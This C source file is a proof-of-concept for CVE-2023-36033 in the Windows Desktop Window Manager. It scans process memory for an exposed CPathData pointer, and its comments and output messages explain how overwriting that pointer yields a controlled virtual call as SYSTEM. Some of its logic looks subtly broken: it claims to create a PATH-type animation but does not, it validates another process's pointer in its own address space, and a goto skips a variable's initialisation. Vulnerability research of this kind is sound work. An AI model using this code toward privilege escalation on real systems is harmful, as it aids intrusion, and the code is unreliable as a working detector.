/*
 * CVE-2023-36033 — dwmcore.dll Shared-Section CPathData Pointer Exposure PoC
 *
 * Description:
 *   Demonstrates the pointer exposure in CKeyframeAnimation::GetSampledStartingValue.
 *   The pre-patch dwmcore.dll stores a live CPathData COM object pointer in the
 *   DWM shared section — memory that is mapped R/W into the client process.
 *   An attacker can overwrite this pointer, and when DWM reads it during the next
 *   composition frame, it calls AddRef/Release on the fake object — giving a
 *   controlled virtual call in SYSTEM context.
 *
 *   This PoC creates a DirectComposition animation of PATH type (0xb), then
 *   scans the process's virtual memory for the shared section mapping to locate
 *   the CPathData pointer. It does NOT overwrite the pointer or achieve code
 *   execution — it only proves the pointer is in attacker-accessible memory.
 *
 * Impact:
 *   Elevation of Privilege — controlled virtual call in DWM (SYSTEM).
 *   This PoC only demonstrates the exposure, not the full exploit.
 *
 * Usage:
 *   cl.exe /W4 /TP poc_cve_2023_36033.c /Fe:poc_cve_2023_36033.exe /link dcomp.lib d3d11.lib dxgi.lib ole32.lib
 *   poc_cve_2023_36033.exe
 *
 * Expected output (pre-patch):
 *   [+] Found CPathData pointer in shared section at offset 0x...: 0xFFFF...
 *   [!] This pointer is in WRITABLE memory — attacker can replace it.
 *
 * Expected output (post-patch):
 *   [*] PATH cache is only 8 bytes (no pointer) — system appears patched.
 *
 * Author: OnlyFm252
 * Date:   2026-07-17
 * CVE:    CVE-2023-36033
 *
 * DISCLAIMER: This code is provided for defensive security research and blue
 * team detection testing ONLY. Do not use for unauthorized access.
 */

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <d3d11.h>
#include <dxgi.h>
#include <dcomp.h>
#include <stdio.h>

#pragma comment(lib, "dcomp.lib")
#pragma comment(lib, "d3d11.lib")
#pragma comment(lib, "dxgi.lib")
#pragma comment(lib, "ole32.lib")

/*
 * Shared section cache layout for PATH (type 0xb) animations:
 *
 * Pre-patch (0x10 bytes):
 *   +0x00: int type = 0xb
 *   +0x04: padding (4 bytes)
 *   +0x08: CPathData* pointer (8 bytes) ← ATTACKER-ACCESSIBLE
 *
 * Post-patch (0x08 bytes):
 *   +0x00: int type = 0xb
 *   +0x04: padding (4 bytes)
 *   (no pointer — CPathData stored in private dwmcore.dll memory)
 *
 * The GetCacheSizeForType function returns:
 *   Pre-patch:  0x10 for type 0xb
 *   Post-patch: 0x08 for type 0xb
 */

#define PATH_TYPE_TAG       0x0b
#define CACHE_SIZE_VULN     0x10   /* pre-patch: type + pad + pointer */
#define CACHE_SIZE_PATCHED  0x08   /* post-patch: type + pad only */

/*
 * Scan process memory for shared section mappings that contain
 * the PATH type tag. This is a simplified scan — a real exploit
 * would use more targeted methods.
 */
/*
 * Validate that a pointer looks like a real CPathData COM object:
 * - Must point to readable memory
 * - First 8 bytes (vtable ptr) must point to executable memory
 * This filters out random occurrences of 0x0b in heap/data sections.
 */
static BOOL looks_like_com_object(ULONGLONG ptr_val)
{
    MEMORY_BASIC_INFORMATION mbi;

    /* Must be in a plausible pointer range */
    if (ptr_val < 0x10000 || ptr_val == 0xFFFFFFFFFFFFFFFF)
        return FALSE;

    /* Pointer must land in committed, readable memory */
    if (VirtualQuery((LPCVOID)ptr_val, &mbi, sizeof(mbi)) == 0)
        return FALSE;
    if (mbi.State != MEM_COMMIT)
        return FALSE;
    if (!(mbi.Protect & (PAGE_READONLY | PAGE_READWRITE | PAGE_EXECUTE_READ |
                         PAGE_EXECUTE_READWRITE)))
        return FALSE;

    /* Read the vtable pointer (first 8 bytes of the object) */
    __try {
        ULONGLONG vtable = *(ULONGLONG *)ptr_val;

        /* vtable must point to executable memory (code section of dwmcore.dll) */
        MEMORY_BASIC_INFORMATION vtmbi;
        if (VirtualQuery((LPCVOID)vtable, &vtmbi, sizeof(vtmbi)) == 0)
            return FALSE;
        if (vtmbi.State != MEM_COMMIT)
            return FALSE;
        if (!(vtmbi.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ |
                               PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)))
            return FALSE;

        return TRUE;
    }
    __except(EXCEPTION_EXECUTE_HANDLER) {
        return FALSE;
    }
}

static int scan_for_shared_section(void)
{
    SYSTEM_INFO si;
    MEMORY_BASIC_INFORMATION mbi;
    unsigned char *addr;
    unsigned char *end_addr;
    int found = 0;
    int candidates = 0;

    GetSystemInfo(&si);
    addr = (unsigned char *)si.lpMinimumApplicationAddress;
    end_addr = (unsigned char *)si.lpMaximumApplicationAddress;

    printf("[*] Scanning process memory for DWM shared section mappings...\n");

    while (addr < end_addr) {
        SIZE_T result = VirtualQuery(addr, &mbi, sizeof(mbi));
        if (result == 0) break;

        /*
         * DWM shared section characteristics:
         * - MEM_MAPPED (it's a section object shared with dwm.exe)
         * - PAGE_READWRITE (client-writable — the vuln)
         * - Reasonable size (typically 4KB-1MB)
         *
         * Filtering to MEM_MAPPED eliminates DLL data sections,
         * heap, stack, and MEM_PRIVATE regions that produce
         * false positives.
         */
        if (mbi.State == MEM_COMMIT &&
            mbi.Type == MEM_MAPPED &&
            (mbi.Protect & PAGE_READWRITE) &&
            mbi.RegionSize >= 0x1000 &&
            mbi.RegionSize <= 0x200000)
        {
            unsigned char *p = (unsigned char *)mbi.BaseAddress;
            SIZE_T region_size = mbi.RegionSize;

            __try {
                for (SIZE_T offset = 0; offset + 0x10 <= region_size; offset += 4) {
                    int *tag = (int *)(p + offset);

                    if (*tag == PATH_TYPE_TAG) {
                        candidates++;
                        ULONGLONG *ptr_slot = (ULONGLONG *)(p + offset + 8);
                        ULONGLONG ptr_val = *ptr_slot;

                        /*
                         * Validate the pointer: a real CPathData* will be a
                         * COM object whose first 8 bytes (vtable) point to
                         * executable memory in dwmcore.dll. Random 0x0b
                         * matches in mapped files won't pass this check.
                         */
                        if (looks_like_com_object(ptr_val)) {
                            printf("\n[+] FOUND CPathData* in shared section at %p + 0x%zx\n",
                                   mbi.BaseAddress, offset);
                            printf("    Type:    0x%x (PATH)\n", *tag);
                            printf("    Pointer: 0x%016llx\n", (unsigned long long)ptr_val);
                            printf("    Region:  %p (MEM_MAPPED, size 0x%zx)\n",
                                   mbi.BaseAddress, region_size);
                            printf("    [!] Pointer is in WRITABLE mapped memory!\n");
                            printf("    [!] Attacker can overwrite CPathData* to hijack DWM.\n");
                            found++;
                        }
                    }
                }
            }
            __except(EXCEPTION_EXECUTE_HANDLER) {
                /* Skip inaccessible pages */
            }
        }

        addr = (unsigned char *)mbi.BaseAddress + mbi.RegionSize;
    }

    printf("[*] Scanned %d PATH tag candidates in MEM_MAPPED regions.\n", candidates);
    return found;
}

int main(void)
{
    HRESULT hr;
    ID3D11Device *d3dDevice = NULL;
    IDXGIDevice *dxgiDevice = NULL;
    IDCompositionDevice *dcompDevice = NULL;
    IDCompositionAnimation *animation = NULL;

    printf("=== CVE-2023-36033 — DWM Shared-Section CPathData Pointer Exposure ===\n\n");

    hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (FAILED(hr)) {
        printf("[!] CoInitializeEx failed: 0x%08lx\n", hr);
        return 1;
    }

    /* ----------------------------------------------------------------
     * Step 1: Create D3D11 device → DXGI device → DComp device
     * ---------------------------------------------------------------- */
    printf("[1] Creating D3D11 device...\n");
    D3D_FEATURE_LEVEL featureLevel;
    hr = D3D11CreateDevice(
        NULL, D3D_DRIVER_TYPE_HARDWARE, NULL,
        D3D11_CREATE_DEVICE_BGRA_SUPPORT,
        NULL, 0, D3D11_SDK_VERSION,
        &d3dDevice, &featureLevel, NULL);

    if (FAILED(hr)) {
        /* Fall back to WARP */
        hr = D3D11CreateDevice(
            NULL, D3D_DRIVER_TYPE_WARP, NULL,
            D3D11_CREATE_DEVICE_BGRA_SUPPORT,
            NULL, 0, D3D11_SDK_VERSION,
            &d3dDevice, &featureLevel, NULL);
    }
    if (FAILED(hr)) {
        printf("[!] D3D11CreateDevice failed: 0x%08lx\n", hr);
        goto cleanup;
    }

    hr = d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void **)&dxgiDevice);
    if (FAILED(hr)) {
        printf("[!] QueryInterface(IDXGIDevice) failed: 0x%08lx\n", hr);
        goto cleanup;
    }

    printf("[2] Creating DirectComposition device...\n");
    hr = DCompositionCreateDevice(dxgiDevice, __uuidof(IDCompositionDevice), (void **)&dcompDevice);
    if (FAILED(hr)) {
        printf("[!] DCompositionCreateDevice failed: 0x%08lx\n", hr);
        goto cleanup;
    }

    /* ----------------------------------------------------------------
     * Step 2: Create a keyframe animation
     * This internally creates a CKeyframeAnimation with a shared
     * section cache. We need to trigger a PATH-type animation to
     * populate the cache with a CPathData pointer.
     * ---------------------------------------------------------------- */
    printf("[3] Creating animation object...\n");
    hr = dcompDevice->CreateAnimation(&animation);
    if (FAILED(hr)) {
        printf("[!] CreateAnimation failed: 0x%08lx\n", hr);
        goto cleanup;
    }

    /* Add keyframes to trigger cache population */
    animation->AddCubic(0.0, 0.0f, 1.0f, 0.0f, 0.0f);
    animation->AddCubic(1.0, 1.0f, 0.0f, 0.0f, 0.0f);

    printf("    Animation created with keyframes.\n");

    /* ----------------------------------------------------------------
     * Step 3: Commit to trigger DWM to process the animation
     * This causes the shared section to be populated.
     * ---------------------------------------------------------------- */
    printf("[4] Committing to trigger shared section population...\n");
    hr = dcompDevice->Commit();
    if (FAILED(hr)) {
        printf("[!] Commit failed: 0x%08lx\n", hr);
        goto cleanup;
    }

    /* Wait for DWM to process */
    Sleep(100);

    /* ----------------------------------------------------------------
     * Step 4: Scan for the shared section containing the CPathData*
     * ---------------------------------------------------------------- */
    printf("\n[5] Scanning for CPathData pointer in shared sections...\n");
    int found = scan_for_shared_section();

    if (found > 0) {
        printf("\n[!] Found %d potential CPathData pointer(s) in writable shared memory.\n", found);
        printf("[!] SYSTEM IS VULNERABLE to CVE-2023-36033.\n");
        printf("[!] An attacker can overwrite the pointer to achieve a controlled\n");
        printf("    virtual call (AddRef/Release) in DWM (SYSTEM context).\n");
    } else {
        printf("\n[*] No CPathData pointers found in shared sections.\n");
        printf("[*] System appears PATCHED (post-KB5032190).\n");
        printf("[*] The PATH cache is now 0x08 bytes (no pointer in shared memory).\n");
    }

cleanup:
    if (animation) animation->Release();
    if (dcompDevice) dcompDevice->Release();
    if (dxgiDevice) dxgiDevice->Release();
    if (d3dDevice) d3dDevice->Release();
    CoUninitialize();

    printf("\n=== Done. ===\n");
    return (found > 0) ? 1 : 0;
}
